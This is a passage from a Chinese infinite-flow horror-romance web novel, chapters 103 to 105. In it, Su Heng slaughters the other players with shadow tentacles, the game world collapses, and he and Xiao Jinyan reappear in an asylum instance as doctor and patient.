他看着那团从宿珩身后浮现出的黑影,看着它一步步爬下楼梯,那双深沉的眼眸里,没有半分恐惧,反而亮起了一簇极深的,探究的火焰。 原来如此。 他终于明白,昨晚那个偷偷潜入房间,又被宿珩赶走的东西,到底是什么了。 那是与阿诺斯公爵,共生的另一部分。 是这座古堡所有恶意与绝望的,集合体。 也是“阿诺斯公爵”这个身份,真正的力量来源。 宿珩,掌控着它。 就在那团黑影,即将触碰到第一个玩家的时候。 宿珩的声音,再次不紧不慢地,从楼上传了下来。 “别弄脏了我的地毯。” 黑影的动作,猛地一滞。 它那不成形的身体,剧烈地翻涌了一下,似乎很不情愿。 但它不敢违抗。 下一秒。 无数条纤细的,由纯粹的黑暗构成的触手,从黑影的身体里,猛地伸了出来。 那些触手,像一条条毒蛇,精准缠绕住了地上每一个玩家的脖子。 然后,猛地一收紧! “呃——” 所有人的惨叫声,戛然而止。 他们的身体,被那些黑暗的触手,轻而易举地,从地上拖拽了起来,悬吊在半空中。 他们的脸,因为窒息而涨成了猪肝色,双腿在空中无力地蹬踹着。 生命的最后一刻,他们那因为恐惧而瞪大的眼睛,死死地,看着站在二楼,那个神情淡漠的,如同神祇般的男人。 那眼神里,充满了无尽的悔恨与绝望。 最终。 随着一阵细微的,骨头被捏碎的“咔吧”声。 所有挣扎的动作,都停止了。 十几具尸体,像一串破败的风铃,在半空中,轻轻地摇晃着。 随即,那些黑色的触手松开。 尸体一具接着一具,重重地,摔在了冰冷的地板上。 发出一连串沉闷的,令人心悸的声响。 黑影似乎还意犹未尽,它那团黑暗的身体,缓缓蠕动着,想要去吞噬那些刚刚死去的,还带着余温的灵魂。 “滚回去。” 宿珩的声音,依旧很冷,不带一丝温度。 黑影的身体,再次僵住。 它那团黑暗,剧烈地扭曲着,那感觉,简直像是被抢走了心爱玩具的孩子,充满了委屈与不甘。 可它终究还是不敢违抗宿珩的命令。 最终,那团黑影只能不情不愿地,化作一缕黑烟,慢慢地,退回到了宿珩身后的阴影里,消失不见。 随着它的离开。 大厅里的光线,重新恢复了明亮。 仿佛刚才那场单方面的,残忍的屠杀,不过是一场幻觉。 可地上那十几具,死状凄惨的尸体,却在无声地,提醒着肖靳言。 刚才发生的一切,都是真的。 宿珩一步一步从楼梯上走了下来。 他目不斜视地从那些尸体旁边走过,没有半分动容。 最终,他停在了肖靳言的面前。 两人对视着。 一个眼神冰冷,一个眼底带着探究的兴味。 “你杀了所有玩家?不怕被无限世界惩罚吗?” 宿珩面无表情:“无所谓。” 肖靳言见他这副态度,耸了耸肩,嘴角重新勾起那抹熟悉的,痞气的笑。 “早知道你这么能干,我就不出手了,还能多睡一会儿。” 宿珩看着他那副得了便宜还卖乖的无赖模样,眼皮跳了一下。 他没有再接这个话茬。 而是转过头,看了一眼地上那些尸体,眉头几不可察地,轻轻蹙了一下。 他能清晰感觉到,一股来自这个副本世界最高意志的,充满了恶意的力量,正在疯狂地侵入他的身体。 那股力量,像无数根烧红的钢针,在他的四肢百骸里横冲直撞,试图惩罚他这个肆意破坏规则的“异类”。 宿珩甚至能清晰地听到,那团刚刚缩回他影子里的黑影,正在他的脑海中,发出阵阵痛苦而恐惧的嘶鸣。 它在害怕。 它在畏惧那股凌驾于一切之上的,属于无限世界的,绝对的规则之力。 但…… 无所谓。 宿珩抬起眼,视线重新落回到肖靳言的身上。 至少…… 这种罪孽不需要肖靳言亲自动手,由他一个人承受就够了。 第104章 第 104 章 世界的悲鸣11 肖靳言看着宿珩。 看着他那张在惨白晨光下, 更显苍白疏离的脸。 看着他那双清冷如冰,却在刚才,毫不犹豫地为自己掀起了一场屠杀的眼眸。 昨夜那些滚烫的, 疯狂的,纠缠的画面,再一次不受控制地, 冲进了脑海。 那具在自己身下微微颤抖,却又主动得不像话的身体。 那个充满了占有欲的,青涩又凶狠的吻。 还有那一声声压抑在喉咙深处, 带着哭腔的, 细碎的喘息。 一切的一切, 都与眼前这个矜贵冷漠的“阿诺斯公爵”,形成了极致而诡异的割裂。 可偏偏, 又完美地,融合在了同一个人身上。 心脏的位置,又开始不受控制地,疯狂鼓噪起来。 一种前所未有的, 陌生的情绪, 像藤蔓一样, 缠绕住了他的理智。 可就在这时。 肖靳言眼前的景象, 毫无预兆地,开始出现了诡异的扭曲。 整个世界的色彩, 仿佛在一瞬间褪去,变成了黑白两色。 墙壁, 尸体,楼梯,还有站在他面前的阿诺斯公爵…… 所有的一切, 都开始像老式电视机上那接触不良的雪花一样,剧烈地闪烁,分解,然后重组。 “滋啦——” 刺耳的,像是电流短路的声音,在大厅里响了起来。 副本要崩溃了。 肖靳言的瞳孔,骤然一缩。 他立刻就明白了过来。 宿珩刚才的所作所为,彻底破坏了这个C级副本的底层运行逻辑。 当其他玩家都被BOSS不讲道理地亲手杀死,只留下他一个人,这个以“猎杀”为核心的游戏,便失去了存在的意义。 而现在,无限世界正在收回它的力量,这个被构筑出来的虚假世界,即将彻底崩塌。 一股强大的,不容抗拒的排斥力,从四面八方传来,开始将他向外推。 那是属于无限世界的强制传送机制。 肖靳言的身体,开始变得模糊透明。 他能感觉到,自己的意识正在被一股力量,从这具身体里,强行抽离。 他死死地盯着宿珩,想要在那张总是覆盖着冰霜的脸上,找到一丝一毫的,属于“人”的情绪。 可他什么都看不到。 宿珩只是安静地站在那里。 任由周围的世界分崩离析,任由那些扭曲的光影,将他的身影切割得支离破碎。 他就像风暴的中心,是这片混乱中,唯一的,永恒的静止。 不。 不对。 肖靳言的视线,猛地凝固在了宿珩那只垂在身侧的,骨节分明的手上。 那只手,正在以一种极其细微的幅度,轻轻地,颤抖着。 他在忍耐。 忍耐着那股来自规则反噬的,足以将灵魂撕碎的剧痛。 这个认知,像一道闪电,狠狠劈中了肖靳言的心脏。 “你到底是谁?!” 他用尽全身的力气,冲着那个即将消失在光影中的身影,吼出了这句话。 这不是试探。 也不是质问。 而是一种近乎本能的,迫切想要抓住什么的,最后的呐喊。 为什么会对他这么好? 为什么会为他做到这种地步? 那种该死的,几乎要将他淹没的熟悉感,到底从何而来? 他所有的疑问,都像疯长的野草,堵在喉咙里,可他知道,自己已经没有时间,去得到答案了。 一道耀眼的白光,轰然落下。 彻底吞噬了他所有的视觉和听觉。 在意识被彻底抽离这个世界的前一秒。 在无尽的白光之中。 肖靳言看见了。 他看见那个站在风暴中心,神情依旧淡漠的男人,缓缓抬起了脸。 那双清冷的,总是像隔着一层冰的眸子,穿透了崩塌的世界,穿透了刺目的白光,精准地落在了他的身上。 随即。 那两片总是抿成一条冷硬直线的,苍白的唇,轻轻地动了动。 没有声音。 只有一个无声的口型。 时间仿佛在这一刻被无限放慢。 肖靳言死死地,睁大了眼。 他看清了。 那两个字是—— 爱人。 …… 与此同时。 在肖靳言的身影,被白光彻底吞噬的瞬间。 宿珩的身体,猛地一晃。 他再也无法维持那副云淡风轻的姿态,猛地抬手,撑住了身后的楼梯扶手。 “噗——” 一口黑色的,带着腐朽气息的血,从他嘴里喷了出来,溅落在冰冷的地板上。 那股盘踞在他体内的,属于规则的反噬之力,在失去了最后一个“玩家”这个目标后,彻底爆发了。 【呃啊啊啊——!】 那团黑影,在他的脑海里,发出了凄厉到极致的惨叫。 它那由纯粹的恶意与绝望构成的身体,正在被那股更高级的,更不容置喙的力量,一寸一寸地碾碎、净化。 剧烈的痛苦,如同潮水,一波接着一波,冲刷着宿珩的每一根神经。 他的眼前,阵阵发黑。 整个世界,都在天旋地转。 古堡在哀鸣。 墙壁化作齑粉,天花板片片剥落,巨大的水晶吊灯轰然坠地,摔得粉碎。 这个华丽而阴森的囚笼,正在走向它最终的,也是唯一的结局。 毁灭。 宿珩能感觉到,自己的力量,正在随着这个世界的崩塌,而飞速流逝。 那团与他共生的黑影,也变得越来越虚弱,越来越暗淡。 可他的心里,却没有半分恐惧。 甚至…… 还有一丝如释重负的,解脱。 这个充满了痛苦回忆与绝望猎杀的“心门一角”,终于要消失了。 而那个他最不想伤害,也最不想让他看到自己最狼狈一面的人,已经安全离开。 这就够了。 就在宿珩的意识,即将被无尽的痛苦与黑暗彻底吞噬时。 一道纯黑色的,比深渊还要幽邃的光束,毫无征兆地,从他脚下的阴影中升起。 那道光束,没有白光的圣洁与温暖。 反而充满了冰冷的,死寂的,仿佛能吞噬一切的虚无。 它温柔地,将宿行那具摇摇欲坠的身体,笼罩了起来。 光束所及之处。 那股来自规则反噬的,狂暴的力量,竟像是遇到了克星一般,瞬间被安抚,被同化,最终消弭于无形。 那团在他脑海中哀嚎的黑影,也在这道黑光的包裹下,渐渐停止了惨叫。 它那几乎要消散的身体,重新变得凝实。 甚至比之前,还要浓郁几分。 仿佛这道黑光,才是它真正的,也是最终的归宿。 剧痛,缓缓消散。 宿珩的意识,也从濒临崩溃的边缘,被一点点拉了回来。 在副本彻底化为虚无的前一秒。 那道黑色的光束,裹挟着他的身体,瞬间消失在了原地。 …… 冰冷。 这是宿珩恢复意识后,第一个感觉。 紧接着。 一股浓郁的,几乎要将人淹没的,福尔马林与消毒水混合在一起的,刺鼻的气味,钻入了他的鼻腔。 宿珩缓缓睁开了眼。 映入眼帘的,不再是那个正在分崩离析的古堡大厅。 而是一个宽敞明亮,却又处处透着诡异的房间。 他正坐在一张巨大的,由冰冷的不锈钢打造而成的办公桌后面。 身上那件属于阿诺斯公爵的白色礼服,不知何时,已经变成了一件一尘不染的,笔挺的白大褂。 他的双手,正安静地交叠放在桌面上。 手指修长干净,指甲修剪得整整齐齐。 这是一双属于医生的手。 宿珩缓缓抬起头,打量着这个陌生的环境。 房间很大,装修风格是那种极简的,充满了金属质感的现代风。 除了他身下的这张桌子和椅子,房间里再没有任何多余的陈设。 空旷得,像一间手术室。 不。 不对。 宿珩的视线,缓缓移动,最终,落在了房间右侧的那面墙壁上。 那不是一面墙。 那是一整面,由巨大的,通透的钢化玻璃打造而成的……陈列柜。 柜子里,没有书籍,没有标本。 而是摆放着一个个巨大的,灌满了淡黄色福尔马林溶液的玻璃容器。 每一个容器里,都浸泡着一些无法用语言来形容的,奇形怪状的东西。 那是一颗还在“砰砰”跳动的,比篮球还要巨大的,布满了紫色血管的心脏。 那是几十根纠缠在一起,如同海草般缓缓蠕动的,长满了吸盘的苍白色触手。 那是一颗足有脸盆大小布满了血丝的眼球,它的瞳孔正在玻璃容器里,缓缓地转动着,仿佛在无声地窥伺着这个房间里唯一的活物。 还有那些像是被活生生剥下来,还保留着完整肌肉纹理的,扭曲的人脸。 以及无数种,宿珩根本无法辨认,也根本不该存在于这个世界上的,诡异的,蠕动的,肢解的器官。 这里不是医院。 这里更像是一个疯子的……收藏室。 就在宿珩打量着这一切的时候。 一股冰冷的,不带任何感情的,庞大的信息流,毫无预兆地,猛地涌入了他的脑海。 【A级副本载入成功……】 【正在同步世界观……】 【欢迎来到特殊污染区——第十三病院。】 【正在为您生成身份……】 【身份生成完毕。】 【您的身份是:主治医师。】 【您的任务是:治愈所有病人,或者……被他们彻底同化。】 【祝您……治疗愉快。】 …… 那一声无声的“爱人”,像一道滚烫的烙印,狠狠地,烫在了肖靳言的灵魂深处。 轰然炸开的白光,瞬间剥夺了他所有的感官。 当那股无法抗拒的眩晕感终于褪去时,一股浓烈到刺鼻的消毒水气味灌满了他的鼻腔。 肖靳言猛地睁开了眼。 入目所及,是一片纯粹冰冷的白。 白色的天花板,白色的墙壁,白色的铁床。 他低头看了看自己。 身上那套黑色燕尾服早已不见踪影,取而代之的,是一件单薄的,质地粗糙的白色病号服。 胸口的位置,用黑色的染料,印着一串冰冷的数字——001。 就在这时,那道属于无限世界的,毫无感情的机械音,在他脑海里准时响起。 【A级副本载入成功……】 【检测到玩家身份切换……】 【欢迎来到特殊污染区——第十三病院。】 【您的新身份是:病人,编号001。】 【主线任务:在七日内,成功逃离第十三病院。】 【支线任务一:查明第十三病院隐藏的真相。】 【支线任务二:在“主治医师”的治疗下,存活。】 主治医师…… 当这四个字落入脑海,肖靳言的心脏,竟然不受控制地漏跳了一拍。 阿斯顿公爵承受了规则反噬,几乎魂飞魄散的画面,还历历在目。 那个站在世界崩塌的中心,用口型对他说出“爱人”的,清冷又决绝的身影,仿佛就发生在上一秒。 他会在这里吗? 以一种全新的,截然不同的身份? 这个念头,像一根冰冷的针,扎进了肖靳言的思绪里。 “吱呀——” 一声刺耳的摩擦声,打断了他的思考。 病房那扇沉重的白色铁门,被从外面推开了。 一个穿着护士服,但脸上没有任何表情,动作僵硬得如同提线木偶的女人,站在门口。 她那双灰白色的,如同玻璃珠般的眼球,直勾勾地,盯着肖靳言。 “001号,出来。” 她的声音,也和她的表情一样,平直,单调,不带任何人类该有的情感起伏。 肖靳言没有反抗。 他面色平静地从床上站起身,跟着那个行尸走肉般的护士,走了出去。 门外是一条同样惨白而压抑的长廊。 空气里,那股浓郁的消毒水味道,几乎要凝成实质,令人作呕。 他被带到了一个宽敞的大厅。 大厅里,已经稀稀拉拉地,站了十几个和他一样,穿着白色病号服的人。 显然,他们都是被一同卷入这个A级副本的玩家。 每个人的脸上,都带着如出一辙的茫然和警惕,以及……对未知A级副本的,深深的恐惧。 无限世界的副本划分,等级最低且数量最多的是E级,等级最高且九死一生的是S级。 而A级同样数量稀少,而且危险程度极高,往往十个玩家中能存活三个,已经算是不错了。 肖靳言的出现,立刻吸引了所有人的注意。 尤其是他胸口那个“001”的编号,更是让不少人眼中闪过一丝异色。 在无限世界里,编号“1”,往往代表着某种特殊的身份。 “各位。” 一个看起来颇有经验,身材高大的男人,率先站了出来,试图掌控局面。 “看样子我们是被分到了一起,自我介绍一下,我叫高飞,经历过两个B级副本。” 他顿了顿,视线扫过众人,最后落在了肖靳言的身上。 “我建议我们暂时联合起来,先弄清楚……” 他的话还没说完。 一阵轻微的电流“滋啦”声,忽然从大厅顶部的广播里响了起来。 紧接着。 一个清冷平淡,却带着一种仿佛能穿透人心的,冰冷质感的声音,通过广播,回荡在整个大厅的每一个角落。 “所有病人,请立刻到一号治疗大厅集合。” “即将开始今天的例行查房。” 当听到广播里声音的瞬间,肖靳言的瞳孔骤然一缩。 是他! 广播里的声音虽然失真,但他一辈子都不会忘记。 果然,他也在这里! 大厅里所有的玩家,都被这突如其来的广播,惊得心头一跳。 紧接着,几个穿着护士服的“木偶”,从各个角落里走了出来,面无表情地驱赶着他们,朝着大厅深处的一扇双开大门走去。 那扇门后面,是一个阶梯式的,如同大学讲堂般的巨大房间。 冰冷的金属座椅,一排排地,向上延伸。 所有玩家,都被迫按照各自的编号,坐进了相应的位置。 肖靳言的座位,在第一排,最中心。 当所有人都坐定后。 房间尽头的另一扇小门,被缓缓推开。 一个高挑清瘦的身影,穿着一尘不染的白大褂,手里拿着一个文件夹,一步一步地,走了进来。 他走到了房间最前方的讲台上,安静地站定。 那一瞬间,整个治疗大厅陷入了一片死一般的寂静。 所有人的呼吸都停滞了。 看着面前那张苍白到近乎透明的,精致绝伦的脸。 肖靳言却缓缓松了口气,眉梢高高耸起。 果然是他。 依旧是那双清冷如冰,仿佛能冻结一切的眼眸。 只是,他身上那股属于中世纪贵族的,忧郁而矜贵的气质,已经消失得无影无踪。 取而代之的,是一种理性的,不带任何感情的,属于医者的冷漠与疏离。 他的视线,如同手术刀一般,冷静而精准地,从在场每一个“病人”的脸上,缓缓扫过。 那目光里,没有任何情绪。 没有好奇,没有怜悯,甚至没有一丝一毫的……熟悉。 当他的目光落在第一排的肖靳言身上时,也只是停留了不到半秒,便毫无波澜地,移开了。 仿佛,他眼前的这个男人,只是一个编号为“001”的,普通的,需要被治疗的病人。 仅此而已。 肖靳言就那么坐在原地,一动不动地,迎着他的目光。 他的心脏擂鼓般地跳动。 可他的脸上,却看不出半分情绪。 那双深不见底的黑眸里,翻涌着一种只有他自己才懂的,极深的,混杂了占有欲与探究的火焰。 有意思。森*晚*整*理 真是太有意思了。 讲台上。 宿珩终于收回了视线,他轻轻抬手,扶了扶鼻梁上那副并不存在的金丝眼镜, 这个习惯性的动作,让他看起来更加斯文,也更加危险。 他用指尖,轻轻敲了敲手里的文件夹,发出清脆的“叩叩”声。 “早上好,各位病人。” 他的声音,通过麦克风,清晰地传到了每一个人的耳朵里。 冰冷悦耳,却又让人不寒而栗。 “我是你们的主治医师,你们可以称呼我为宿医生。” 他顿了顿,那双清冷的眸子,再次扫过台下那一双双充满了恐惧与不安的眼睛。 随即,他那总是抿成一条直线的唇,微微向上,勾起了一抹极淡的弧度。 那不像是一个笑容。 更像是一个公式化的符号。 “在接下来的七天里,我将负责各位的全部治疗。” 他的目光,再一次,若有似无地,落在了肖靳言的身上。 这一次,那双冰冷的眸子里,终于带上了一丝情绪。 那是医生看待一个病入膏肓的病人时,才会有的,一种混合了“怜悯”与“探究”的,冷酷的眼神。 “我的治疗目标,很简单。” “就是治好你们所有人,那可笑又危险的……妄想症。” 他看着肖靳-言,一字一句,清晰而缓慢地说道: “尤其是,妄想着自己没病,妄想着自己可以离开这里,以及……” “妄想着,与我曾有过某种亲密关系的,这种最无可救药的,病理性的幻觉。” 第105章 第 105 章 世界的悲鸣12 “他……他最后一句话是什么意思?” “不知道啊……我们中间还有人妄想和他发生关系吗?” “妈呀……不愧是A级副本, 这也太惊悚了。” “到底是谁啊?” “我感觉很可能是最后来的1号……” “有可能啊!” “……” 整个治疗大厅在一瞬间的窃窃私语后,很快又陷入了一种比死寂还要可怕的寂静。 玩家们惊恐的目光,不断在讲台上那个神情冷漠的宿医生, 和第一排那个从始至终都平静得不像话的001号病人之间,来回扫视。 一股难以言喻的寒气,从他们每个人的脚底板, 直冲天灵盖。 他们之间看着就像有“猫腻”的样子。 难不成001号已经变/态如斯,对副本BOSS也能产生性/幻想? 简直疯了。 再看BOSS的态度,这已经不是下马威了。 这是对001号……赤/裸/裸的死亡宣告啊…… 但在玩家们的眼里, 001号坐在第一排最中心的位置, 依旧维持着那个靠坐在椅背上的放松姿态。 真牛逼! 这都无动于衷。 他们的角度看不到肖靳言的表情, 并不知道他甚至没有因为宿珩这番话,而产生半分情绪上的波动。 他只是安静地, 迎着宿珩那双冰冷得不带一丝温度的眼眸。 那双深不见底的黑眸里,翻涌的兴味与占有欲,不仅没有被这番话浇灭,反而燃烧得更加旺盛。 像一簇在冰原上, 被点燃的, 永不熄灭的野火。 他看着台上那个熟悉又陌生的身影。 看着他穿着笔挺的白大褂, 浑身上下都散发着一种禁欲又理性的, 冷酷的魅力。 肖靳言缓缓勾起了嘴角。 他抬起手,冲着讲台上的宿珩, 做了一个极其标准的,只有在精神病院里, 病人才会做的动作。 他用自己的食指,指了指自己的太阳穴,然后轻轻地, 画了一个圈。 那眼神里,充满了不加掩饰的,挑衅的笑意。 仿佛在说:没错,我病了。 病得很重。 而你,就是我的药。 宿珩的视线,与他那双充满了侵略性的眼眸,在空气中,无声地碰撞。 那双总是清冷如冰的眸子里,闪过了一丝极其细微的涟漪。 但那丝涟漪,很快便消失不见。 他收回视线,不再去看肖靳言。 他低头,翻开了手里那份厚厚的文件夹。 “根据你们入院时的初步诊断报告。” “你们每个人,都患有不同程度的,认知功能障碍,以及被害妄想症。” 宿珩的声音,通过麦克风,继续平淡地,在整个大厅里回荡。 “所以,在接下来的七天里,你们将接受本院最先进,也是最有效的,系统性整合治疗。” 他一边说着,一边从文件夹里,抽出了一张排得满满的,印满了各种项目的治疗日程表。 “每天早上七点,例行查房。” “八点,集体心理疏导。” “九点到十一点,为个体化治疗时间。” “中午十二点,午餐。” “下午两点到五点,为行为矫正与药物干预时间。” “晚上六点,晚餐。” “七点,观看新闻。” “九点,准时熄灯就寝。” 宿珩用一种宣读机器说明书般的,毫无感情的语调,将这张密密麻麻的日程表,一字不差地念了一遍。 每念出一项,台下那些玩家的脸色,便会更白一分。 这张看似正常的日程表,在“第十三病院”这个诡异的环境下,每一个字眼,都透着一股令人毛骨悚然的不祥气息。 尤其是那个“个体化治疗”和“药物干预”。 所有人都清楚,那绝对不会是什么正常的治疗。 那必然是这个A级副本里,最主要的,也是最致命的死亡陷阱。 “现在,是早上七点十五分。” 宿珩合上了文件夹,抬起手腕,看了一眼自己手腕上那块款式简洁的银色手表。 “例行查房,正式开始。” 他话音落下,便迈开长腿,从讲台上,一步一步地走了下来。 随着他的靠近,一股混合着消毒水与福尔马林的,冰冷的气息,也随之而来。 那种气息,像一条无形的毒蛇,缠绕住每一个人的脖子,让他们几乎无法呼吸。 台下的玩家们,一个个都紧张地挺直了脊背,双手死死地攥着自己的病号服,连大气都不敢喘一口。 他们眼睁睁地看着那个如同死神般的宿医生,从他们面前,一个一个地走了过去。 他没有在任何人面前停留。 他只是用那双冷静到可怕的眼睛,扫过每一个人的脸。 那目光,不像是在看一个个活生生的人。 更像是在检查一件件没有生命的,等待被处理的物品。 宿珩的脚步从他们每个人身前绕了一圈,最后停在了第一排。 肖靳言依旧靠在椅子上。 他微微仰着头,看着站在自己面前,居高临下地,俯视着自己的宿珩。 两人之间的距离,不到半米。 他甚至能清晰地看到,宿珩那纤长浓密的睫毛,在眼下投下的一小片,安静的阴影。 也能闻到,从他身上散发出的,那股熟悉的,让他莫名心安的,疏离的冷香。 只不过,这一次。 那股冷香里,混杂了医院独有的,冰冷刺鼻的气味。 “001号。” 宿珩开口,声音很轻,却带着一种不容置喙的命令。 “站起来。” 肖靳言闻言,挑了挑眉。 他非但没站起来,反而换了个更舒服的姿势,整个人陷在椅子里,显得越发懒散。 他冲着宿珩,扯了扯嘴角,露出一抹痞气的笑。 “宿医生。” 他故意拖长了语调,那声音里,带着一丝沙哑的,引人遐想的磁性。 “我腿软,站不起来。” 这句话一出口,周围几个离得近的玩家,顿时倒吸了一口凉气。 他们用一种看疯子般的眼神,看着肖靳言。 这家伙是不要命了吗?! 居然敢在这种时候,用这种语气,去挑衅这个喜怒无常的,恐怖的BOSS! 宿珩的脸上,依旧没有任何表情。 他只是安静地,俯视着椅子上那个耍无赖的男人。 那双清冷的眸子,微微眯了一下。 那感觉,就像一个经验丰富的猎人,在观察一只不听话的,试图挑战自己权威的,危险的猎物。 两人就这么对视着。 一个眼神玩味,充满了侵略性。 一个眼神冰冷,充满了审视。 空气仿佛都在这一刻,凝固了。 所有人或紧张或玩味地看着这一触即发的诡异对峙。 半晌后。 宿珩忽然伸出手。 他没有去碰肖靳言,而是从自己白大褂的口袋里,取出了一支小巧的,闪烁着银色金属光泽的,笔形手电筒。 “咔哒”一声。 一束刺目的强光,从手电筒里射出,毫不留情地,直接照在了肖靳行那双深沉的眼眸上。 “瞳孔对光反射迟钝,疑似中枢神经系统受损。” 宿珩的声音,冰冷而平直,像是在记录一份客观的病例。 “伴有轻浮的言语,以及不合时宜的,挑衅性肢体动作。” “初步诊断为:情感表达障碍,及……性/瘾并发的……躁狂症。” 他一边说着,一边收回了手电筒。 然后,他从口袋里,又取出了一支黑色的钢笔,和一本小巧的,硬壳的笔记本。 “刷刷刷——” 他低着头,在那本病历上,飞快地,记录着什么。 那姿态,专业冷静,又透着一股让人不寒而栗的,绝对的理性。 写完之后,他合上笔记本,重新放回口袋。 整个过程,他都没有再看肖靳言一眼。 仿佛在他眼里,肖靳言已经不是一个活生生的人。 而只是一堆需要被分析,被记录,被治疗的冰冷数据和症状。 做完这一切后,宿珩没有再做任何停留。 他转过身,迈开长腿,径直朝着讲台的方向,走了回去。 那副姿态,就好像刚才那场无声的对峙,不过是一次再普通不过的,对病人的例行检查。 看着他那决绝而冷漠的背影,肖靳言眼底的笑意,更深了。 有意思。 真是越来越有意思了。 “查房结束。” 宿珩重新站回讲台上,声音平淡地,做出了总结。 “现在,所有病人,立刻返回各自的病房。” “八点整,在一号治疗大厅,准时开始集体心理疏导。” “任何人,不得迟到。” 说完,他便拿着自己的文件夹,头也不回地,走进了讲台后面那扇专属的小门。 随着他的离开,大厅里那股几乎要将人压垮的,冰冷的气压,才终于缓缓散去。 所有玩家,都像是虚脱了一般,长长地,松了一口气。 刚才那短短的几分钟,对他们来说,简直比经历一场高强度的战斗,还要煎熬。 “呼……吓死我了……” 一个年轻的女孩,拍着自己的胸口,脸色依旧煞白。 “那个宿医生,也太可怕了吧……” “A级副本的BOSS,果然都是怪物。” 之前那个试图掌控局面的高飞,此刻也是一脸的后怕与凝重。 他看了一眼那个依旧气定神闲地坐在第一排的001号,眼神变得极其复杂。 “兄弟。” 高飞犹豫了一下,还是忍不住走上前,压低了声音,对肖靳言说道。 “我知道你很强,但……我劝你还是收敛一点。” “这个副本的BOSS,明显是智能极高的类型,而且……他好像盯上你了。” “你刚才那么挑衅他,对我们所有人都没好处。” 肖靳言闻言,终于从椅子上,不紧不慢地,站了起来。 他比身材高大的高飞,还要高出半个头。 那股与生俱来的,强大的压迫感,让高飞下意识地,后退了半步。 肖靳言掸了掸自己病号服上,根本不存在的灰尘。 他瞥了一眼这个试图对他“好言相劝”的男人,嘴角勾起一抹意味不明的弧度。 “你觉得。” 他开口,声音很轻。 “就算我不去招惹他。” “他就会放过我们吗?” 一句话,让高飞瞬间哑口无言。 是啊。 在无限世界里,什么时候,BOSS会因为玩家的顺从,而大发慈悲? 那只会让他们死得更快。 肖靳言没有再理会他。 他双手插在病号服的口袋里,迈开长腿,第一个,朝着大厅外,那条惨白的走廊走去。 那副悠闲的姿态,不像是一个身陷囹圄的病人。 反而像一个来自己领地,巡视的君王。 …… 回到那间只有一张铁床的,纯白色的单人病房。 肖靳言走到门边,试着推了推那扇沉重的铁门。 门,已经被从外面锁死了。 他走到房间唯一的,那扇小小的窗户前。 窗户外面,被粗壮的,冰冷的铁栏杆,焊得死死的。 透过栏杆的缝隙,可以看到外面,是一个同样被高墙围起来的,荒芜的庭院。 庭院里,种着几棵光秃秃的,已经死去的枯树。 整个世界,都像一张褪了色的,压抑的黑白照片。 了无生趣。 就在这时。 病房门上,那个小小的,用来递送食物的窗口,忽然“咔哒”一声,被从外面打开了。 一个装着几片白色药片的,小小的纸杯,被从窗口,递了进来。 紧接着。 那个如同木偶般的护士,平直单调的声音,从门外响了起来。 “001号。” “这是宿医生,特意为您开的药。” “请立刻服用。” 说完,那个窗口,便“砰”的一声,再次关上了。 肖靳言走过去,拿起那个纸杯。 他看着里面那几颗没有任何标识的,散发着一股化学品气味的白色药片,黑沉的眼眸里,闪过一丝冷意。 所谓的……药物干预,这么快……就来了吗? 肖靳言没有丝毫犹豫。 他直接将那几颗药片,倒进了自己的嘴里,然后抬起头,做了一个吞咽的动作。 几乎是在他“吃”下药片的瞬间。 一阵细微的,像是电流通过的声音,从病房角落里一个不起眼的监控摄像头处,响了起来。 紧接着。 广播里,再次响起了宿珩那冰冷平淡的声音。 “0.5毫克的药物,似乎并不足以抑制你的躁狂症状。” “看来,有必要为你安排一次,更深度的个体化治疗。” “现在,001号病人。” “请立刻到三楼,我的办公室来。” “我将亲自,为你进行诊断。” 广播的声音,戛然而止。 “咔哒”一声。 病房那扇沉重的铁门,应声而开。 门外,依旧是那条惨白而死寂的长廊。 肖靳言将那几颗一直含在舌下的药片,不紧不慢地,吐进了旁边的垃圾桶里。 他整理了一下自己身上那件单薄的病号服,嘴角勾起一抹充满了期待的,危险的弧度。 一对一的,“深入”治疗吗? 他等的就是这个。 …… 第十三病院,三楼。 与楼下那些压抑惨白的病房不同。 整个三楼,只有一间办公室,和一个巨大的,摆满了各种诡异器官标本的陈列室。 办公室里。 宿珩正安静地坐在那张巨大的,由冰冷的不锈钢打造而成的办公桌后面。 他低着头,正在翻阅一份病例。 那份病例的封面上,用黑色的字体,清晰地印着三个字——肖靳言。 以及一个冰冷的编号——001。 “咚,咚,咚。” 一阵不紧不慢的敲门声,从门外响起。 “请进。” 宿珩头也没抬,只是淡淡地,吐出了两个字。 办公室的门,被推开了。 肖靳言双手插在口袋里,迈着悠闲的步伐,走了进来。 他反手,将那扇门,轻轻地关上。 然后,他一步一步地,走到了那张巨大的不锈钢办公桌前,站定。 “宿医生。” 肖靳言看着那个依旧在低头看病例的男人,声音里,带着一丝懒洋洋的笑意。 “你想怎么‘深入’法?” 宿珩听出他语气中的揶揄,很想白他一眼,但怕被副本世界察觉,还是克制住了。 他放下了手里的病例,抬起头,用那双清冷的眸子,平静地看着站在自己面前的男人。 “坐。” 他抬了抬下巴,示意了一下办公桌对面,那张同样由不锈钢打造的,冰冷的椅子。 肖靳言从善如流。 他拉开椅子,大喇喇地坐了下去,双腿交叠,姿态随意。 “001号病人,肖靳言。” 宿珩的视线,从他的脸上,缓缓扫过。 那目光,冷静客观,不带一丝一毫的私人感情。 “入院诊断:重度妄想型精神分裂。” “主要症状表现为,存在系统性的,逻辑严密的,但完全违背事实的病理性幻想。” “尤其是……关于你和我之间,存在某种‘亲密关系’的,核心妄想。” 他一边说着,一边用指尖,轻轻地,敲了敲桌面。 “现在,你可以开始陈述你的‘病情’了。” “我会根据你的陈述,来为你制定下一步的,治疗方案。” 那副公事公办的,冷酷的姿态,仿佛真的只是一个医生,在询问一个病人的病情。 肖靳言听完他这番话,非但没有生气,反而低低地,笑了一声。 那笑声,在安静的办公室里,显得格外清晰。 也格外……刺耳。 宿珩的眉头,几不可察地,轻轻蹙了一下。 “你在笑什么?” 他的声音,依旧平淡,却带上了一丝不易察觉的,冷意。 “我在笑……” 肖靳言的身子,微微向前倾。 他用手肘,撑在冰冷的桌面上,那双深不见底的黑眸,死死地,锁着宿珩的眼睛。 “我在笑,宿医生你,真是敬业。” “明明昨晚,才刚刚被我……” 他故意顿了顿,笑得不怀好意。 “……‘治疗’得,哭着求饶。” “今天,就这么快地,忘记了?” 话音落下的瞬间。 办公室里的空气,仿佛在一瞬间,被抽干了。 宿珩差点没控制住表情,太阳穴剧跳了两下。 “看来。” “你的病情,比我想象中,还要严重得多。” “已经出现了严重的,将幻想与现实混淆的,精神错乱症状。” 肖靳言看着他这副嘴硬的模样,嘴角的弧度咧得更开了。 他忽然站起身。 